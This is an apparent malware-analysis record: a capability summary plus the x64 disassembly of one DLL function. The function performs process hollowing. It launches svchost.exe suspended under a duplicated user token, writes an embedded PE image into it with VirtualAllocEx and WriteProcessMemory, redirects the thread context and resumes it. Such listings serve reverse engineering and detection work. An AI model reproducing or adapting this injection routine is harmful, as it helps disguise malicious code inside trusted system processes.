Function at 0x180001000
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Get common file path
Resume thread
Terminate process
Use process replacement

Disassembly:
push rbp
lea rbp, [rsp - 0x700]
sub rsp, 0x800
mov rax, qword [0x180017008]
xor rax, rsp
mov qword [rbp + 0x6d0], rax
sub edx, 1
je 0x180001030
cmp edx, 1
jne 0x18000143b
mov qword [rsp + 0x810], rbx
lea rax, [rbp + 0x5c0]
mov qword [rsp + 0x818], rsi
xor r9d, r9d
mov qword [rsp + 0x820], rdi
xor r8d, r8d
mov qword [rsp + 0x7f0], r13
xor ecx, ecx
mov qword [rsp + 0x7e8], r14
lea edx, [r9 + 0x29]
mov qword [rsp + 0x7e0], r15
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea rdx, str.svchost.exe
lea rcx, [rbp + 0x5c0]
call qword [sym.imp.SHLWAPI.dll_PathAppendA]
xor r13d, r13d
mov qword [rsp + 0x7f8], r12
mov r15d, r13d
lea rsi, [0x1800179e0]
nop word [rax + rax]
xorps xmm0, xmm0
mov qword [rsp + 0x38], r13
xor eax, eax
mov qword [rsp + 0x30], r13
movups xmmword [rbp - 0x60], xmm0
mov dword [rsp + 0x28], r13d
lea r8, str.WinSta0Default
xor edx, edx
mov qword [rbp], rax
lea r9d, [rax - 1]
mov qword [rbp - 0x78], r13
xor ecx, ecx
mov qword [rbp - 0x80], r13
movups xmmword [rbp - 0x50], xmm0
mov qword [rsp + 0x60], r13
movups xmmword [rbp - 0x40], xmm0
mov qword [rsp + 0x78], r13
movups xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x60], 0x44
movups xmmword [rbp - 0x20], xmm0
mov qword [rsp + 0x20], r13
movups xmmword [rbp - 0x10], xmm0
movdqu xmmword [rsp + 0x68], xmm0
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rbx, eax
mov rcx, rbx
call fcn.180001494
mov qword [rsp + 0x38], r13
lea r8, str.WinSta0Default
mov qword [rsp + 0x30], r13
mov r9d, 0xffffffff
mov dword [rsp + 0x28], ebx
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov qword [rbp - 0x50], rdi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp - 0x80]
mov edx, 0xf01ff
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov rcx, qword [rbp - 0x80]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov r9d, 1
xor r8d, r8d
mov dword [rsp + 0x20], 1
mov edx, 0x2000000
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
call qword [sym.imp.KERNEL32.dll_WTSGetActiveConsoleSessionId]
mov rcx, qword [rsp + 0x60]
lea r8, [rbp + 0x5b0]
mov r9d, 4
mov dword [rbp + 0x5b0], eax
lea edx, [r9 + 8]
call qword [sym.imp.ADVAPI32.dll_SetTokenInformation]
mov rdx, qword [rsp + 0x60]
lea rcx, [rbp - 0x78]
xor r8d, r8d
call qword [sym.imp.USERENV.dll_CreateEnvironmentBlock]
mov rcx, qword [rsp + 0x60]
lea rax, [rsp + 0x68]
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x5c0]
lea rax, [rbp - 0x60]
xor r9d, r9d
mov qword [rsp + 0x48], rax
xor r8d, r8d
mov rax, qword [rbp - 0x78]
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x434
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
cmp eax, 1
jne 0x1800013de
xor edx, edx
mov qword [rbp - 0x70], r13
mov r8d, 0x2c8
lea rcx, [rbp + 0x2e4]
call fcn.1800027c0
mov rcx, qword [rsp + 0x70]
lea rdx, [rbp + 0x2e0]
mov dword [rbp + 0x2e0], 0x10000b
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
mov edx, dword [rbp + 0x384]
lea r8, [rbp - 0x70]
mov rcx, qword [rsp + 0x68]
add edx, 8
mov r9d, 4
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x1800013de
mov eax, dword [rbp + 0x384]
cmp qword [rbp - 0x70], r13
je 0x1800013de
test rax, rax
je 0x1800013de
movsxd rbx, dword [0x180017a1c]
mov r9d, 0x3000
mov rcx, qword [rsp + 0x68]
add rbx, rsi
mov dword [rsp + 0x20], 0x40
mov r8d, dword [rbx + 0x50]
mov edx, dword [rbx + 0x34]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
test rax, rax
je 0x1800013bc
mov r9d, dword [rbx + 0x54]
mov r8, rsi
mov rcx, qword [rsp + 0x68]
mov rdx, rax
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1800013bc
mov edi, r13d
cmp r13w, word [rbx + 6]
jae 0x18000134a
mov rsi, r13
movzx eax, word [rbx + 0x14]
lea rcx, [0x1800179e0]
add rax, rsi
mov qword [rsp + 0x20], r13
mov r8d, dword [rax + rbx + 0x2c]
mov edx, dword [rax + rbx + 0x24]
add r8, rcx
mov rcx, qword [rsp + 0x68]
add rdx, r14
mov r9d, dword [rax + rbx + 0x28]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1800013bc
movzx eax, word [rbx + 6]
inc edi
add rsi, 0x28
cmp edi, eax
jl 0x180001302
xor edx, edx
lea rcx, [rbp + 0x14]
mov r8d, 0x2c8
call fcn.1800027c0
mov rcx, qword [rsp + 0x70]
lea rdx, [rbp + 0x10]
mov dword [rbp + 0x10], 0x10000b
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
test eax, eax
je 0x1800013bc
mov edx, dword [rbp + 0xb4]
lea r8, [rbx + 0x34]
mov rcx, qword [rsp + 0x68]
add rdx, 8
mov r9d, 4
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1800013bc
mov ecx, dword [rbx + 0x28]
lea rdx, [rbp + 0x10]
add ecx, r14d
mov dword [rbp + 0xc0], ecx
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_Wow64SetThreadContext]
test eax, eax
jne 0x1800013f8
mov rcx, qword [rsp + 0x68]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rsi, [0x1800179e0]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
inc r15d
cmp r15d, 5
jl 0x1800010b0
jmp 0x180001403
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov r12, qword [rsp + 0x7f8]
mov r13, qword [rsp + 0x7f0]
mov r14, qword [rsp + 0x7e8]
mov rdi, qword [rsp + 0x820]
mov rsi, qword [rsp + 0x818]
mov rbx, qword [rsp + 0x810]
mov r15, qword [rsp + 0x7e0]
mov eax, 1
mov rcx, qword [rbp + 0x6d0]
xor rcx, rsp
call fcn.180001470
add rsp, 0x800
pop rbp
ret